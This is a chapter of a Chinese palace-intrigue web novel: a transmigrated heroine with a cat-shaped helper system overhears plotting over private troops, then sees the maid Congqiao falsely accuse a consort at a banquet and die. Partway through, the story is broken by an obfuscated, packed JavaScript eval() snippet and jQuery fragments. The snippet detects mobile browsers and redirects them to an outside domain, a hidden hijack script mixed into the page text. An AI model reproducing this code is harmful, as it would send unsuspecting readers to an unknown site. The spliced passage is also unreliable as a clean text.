这情绪来的蹊跷,但绝对与刚刚见到的从巧有关。
闪光间,另一个猜想在晏清脑中浮现。
从巧会代替她成为那个炮灰!
她要去和从巧见一面,晏清向前几步,停在容暄身后半步的距离,靠近低声道:“我出去一趟。”
见容暄点头,她才加快脚步离开两仪殿,朝着刚刚见到的身影离开的方向寻去。
晏清四处奔袭,跑了一头大汗,尽管有厚重的衣衫包裹着,寒风一吹还是不禁打个冷战。一刻钟过去晏却还是没有找到从巧,她的焦急情绪更甚。
晏清停下如无头苍蝇般盲目的找寻,大步朝耳房走去,心里祈祷着从巧一定要出现在那。
天不遂人愿,耳房中唯有两个小宫女,没有从巧的身影。
晏清认出她们是尚功局的人,于是压低声线,问道:"从巧司制何在?宁王衣衫有损,速随我前去修补一二。"
左侧的宫女先一步上前,恭敬地答道:“从巧姑姑正为公主修补锦带,奴婢二人可前往修补。”
闻此,晏清的情绪缓和了些,摆摆手道:“不必了,待从巧司制归来,叫她来为宁王补衣。”
大抵是她想岔了,但见一面总是要安心些。
回大殿的路上晏清心情轻快不少,四处打量着,不禁感叹这皇宫修得还真是极致奢华,却不俗气。
忽地,一道黑影从视线中闪过,小黑猫!
[猫猫一号,刚刚过去的是不是之前的小黑猫。]
晏清跟上去,怕找错猫还是向猫猫一号确认了一遍。
【是的,宿主。】
得到肯定答复,晏清赶忙加快步伐,跑到一处僻静处,小黑猫正坐在偏殿的檐上,一双滴溜圆的眼睛在昏色中闪光,晏清朝它招招手,又向猫猫一号要了根猫条。
闻到熟悉的味道,它轻巧地跳下来,落到晏清脚边,绕了一圈用尾巴蹭她。
晏清正要蹲下喂它,不远处传来脚步声,不只一个人,怕被发现说不清,她抱起小黑猫就躲入偏殿中。
“舅舅,这真的可行吗,私兵......”话音戛然而止,片刻才又响起,声音轻了不少,“要是被发现了,可是重罪啊。”
另一道浑厚的声音传来。
“那地方偏,与你我也并无联系,被发现了也摘得清。行了,此事先别和你母亲说,免得她忧虑,往后有事来府上,这地方终究不安全。”
晏清竖起耳朵,生怕漏掉一个字。
谁知小黑猫又发力了。
它迟迟没有吃到好吃的,不满地喵了一声。
这一声,让殿内殿外的三人大惊失色,晏清更是要魂飞魄散。
一门之隔,脚步声越靠越近,踏地的声响与晏清的咚咚心跳整齐划一。
[猫猫一号!在殿外杂草里放两只大老鼠,再放一声短促兴奋的猫叫在它们身后。]
【猫猫一号收到!助力发放中。】
猫叫声在殿外响起,紧跟着是老鼠窸窸窣窣的逃窜动静。
脚步声停住,人声再次响起:“又是淑妃养的那个畜生!”
“回去吧,以后做事要再仔细点。”
“知道了,舅舅。”
晏清松了口气,安抚着小黑猫,待门外没了声响才脱离坐在地上。
[小黑啊,咱俩没仇吧,怎么没回见你都没啥好事呢。]
小黑猫不懂,只是一味吃吃吃。
【好吃!】
算了算了,小猫能有什么坏心思,就是笨一点。
[我先走啦,下次再来看你。]
回到殿中,收到容暄问询的眼神,低声解释道:“久不见故友,叙旧耽误了时间。”
换来的是容暄的一声哼笑,笑不达眼底,摆明了没有相信晏清的说辞,但也没有往深处追究。
晏清自知此话漏洞重重,可实在没有心思编瞎话来唬他,此刻她的心里还想着刚刚听到的对话。
私兵?贵朝真乱啊。
一般的臣子还真没有这个胆子去屯兵,那剩下的人选很明显了,三个皇子。
提及淑妃语气不耐,就只剩下最后一个人。
太子!
瞌睡就有人送枕头,这个消息无疑能直接链接她与容暄的合作,但她还是打算再多搜集些消息。
丹陛上,皇帝着明黄龙袍与身穿绯红朱衣的皇后并立,朝下边的众妃嫔、皇子公主举杯。
“元日佳节,让我们共饮此杯,愿来年山晏河清,百姓安乐。”
宴会渐入佳境,衣袖翻飞,丝竹悦耳。
“奴婢罪该万死!”
变故发生在一瞬间,晏清盼了许久的人以她最不希望的方式冲入殿中,闯过侍卫的阻拦,穿过一众舞姬乐师,跪倒在大殿正中大喊起来。
晏清猜中了,可她晚了一步,没能在从巧走上不归路前拦下她。眼见无法挽回,她思索着可还有其他法子能将她救下。
说到从巧,晏清并非与她有多么深厚的情谊,相反,晏清怕暴露身份,对她说得上是疏离。
但不能否认的是来到这个世界后的第一份关心与温暖确实来自于她。
从巧言笑晏晏,温声细语的模样不可避免地在晏清心中留下一道印记,她不希望从巧出事。
所以在想到她可能成为太子的第二人选时,晏清心中的不安蓬勃愈发。
此刻她能借助的只有容暄,思索片刻,她放轻动作,膝行向前,在容暄边上停下。
“替我救下她,条件你提。”晏清沉声道,严肃认真。
大殿正中。
“淑妃娘娘命奴婢在为皇后缝制宴服时掺入含毒的布料,奴婢深感不安却不敢违抗。每每念及皇后过往善举,奴婢心中便煎熬万分。今日哪怕一死,奴婢也要揭开淑妃的真面目。”
一字一句,晏清无比熟悉。
只是后面的发展却与晏从谨的经历有了几分差别。
皇后沉将她打断,“受命于淑妃?”
“是。”从巧低着头翁声回答,叫人看不清脸上表情。
平和宽容的脸上显出一丝不悦,江仪再次开口,“含毒布料从何而来?”
“是......是齐王上月献上的蜀锦,给娘娘您用的一早被浸泡于毒药之中,长时间穿着便会毒素入体,损伤凤体。”
闻言,皇后身侧的宫女面上着急万分,就要上前搀扶她去更衣,却被皇后挥手按下。
一旁的皇帝也沉了脸色。
倒是被害人没有半分担心,还笑出声,“那你再仔细说说,淑妃是何时吩咐于你,又是如何吩咐你的?”
宴上几十双眼睛都盯在从巧身上。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16499674|185998||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
从巧本就紧张,说话磕磕绊绊,眼下皇后一质疑,更是汗流浃背,脑中一片空白,想不起先前记牢的话术,支支吾吾答不上来。
皇后没了耐心,肃声道:“本宫近来身体抱恙,对内廷的管理松懈了几分,有心之人就按捺不住,敢在元日宴上使人胡乱攀咬淑妃,待我查出背后指使之人,决不轻饶。往后若再有人效仿,罪加一等。”
说完转身向皇帝道:“今日之事是我疏忽,请皇上治罪。”
“罢了,你身子本就弱,后宫又处处需你操心,有所疏漏在所难免,查出身后之人才是要紧。你速去更衣,莫要再伤到自己。”
“我身着之服并非齐王所赠蜀锦所制,而是淑妃妹妹不久前所赠的云锦,臣妾瞧着着这云锦实在喜欢,这才叫人换了此料赶制。”她莞尔一笑,继续道,“想必出此下计之人不曾听说,这才借此挑拨我二人关系,还攀扯上齐王,此事我定会给淑妃妹妹一个交代。”
听到皇后提到自己,淑妃淡淡道:“姐姐说笑了,这种雕虫小技实乃蠢笨至极,哪能坏了你我的姐妹深情。”
见江仪的笑僵硬一瞬,她的脸上才扬起真挚笑意。
“此事便交由你细细去查。”皇帝脸色缓和几分,但还是能看出他的不悦。
皇后吩咐道:“还不快将此人带下去。”
从巧只是被收押受审,不会立刻死去。
晏清看着从巧被两个侍卫架起,又对没有回应的容暄低声说道:“太子近日有异动,用她的命做交换如何?”
容暄来了兴致,看向晏清,开口道:“你未免把我想得太过神通广大,但是个不错的提议。若你真的想救,之后再找机会将她从牢狱中换出,但现在不行。”
“在她被处死前将她从牢狱中换出,可行吗。”晏清着急问道,怕他确实无能为力。
他的表情一滞,莫名地看着晏清,“晚了。”
“什么晚了......”晏清蹙眉,顺着他的视线看过去,再发不出一言。
血,暗红的,滴滴答答连成一片的,来自从巧。
她面色痛苦,粘稠的血液还在一股股地从她嘴中呕出,衣衫被染红。
终于在侍卫将她拖离大殿前,从巧头的头歪向左侧,没了任何动作,她苍白的脸上红色血迹如此刺眼。
“从谨姐姐,这朵海棠该用什么针法来绣好呢?”
“从谨姐姐,贵妃娘娘赏赐的绸缎,我给你新制一件官服可好?”
“从谨姐姐,我哪里惹你不快了吗,从巧给你道歉好不好,你不要不理我。”
梦中的场景不断纷飞,不变的是从巧总是亦步亦趋地跟着晏从谨,叽叽喳喳地说个不停。
看得出晏从谨和从巧的关系很好,连带着她似乎都能感受到晏从谨的悲伤。
昏暗的牢狱内,鞭子甩在皮肉上的声音时时高时低,惨叫声此起彼伏。
晏从谨被绑在刑架上,身上没有一处好肉,血液汩汩的往外冒,在衣摆处汇聚滴落,渗入地面。
晏清站在远处,想要为她抵挡虚幻的手却穿过她,只能看着狱卒再为出气多进气少的晏从谨添上几道斑驳的伤痕。
很久很久,狱卒停下动作,恭敬地朝远处的人复命。晏清的视线紧跟着他,看到了一个熟悉的人。
容暄坐在那,冷着脸。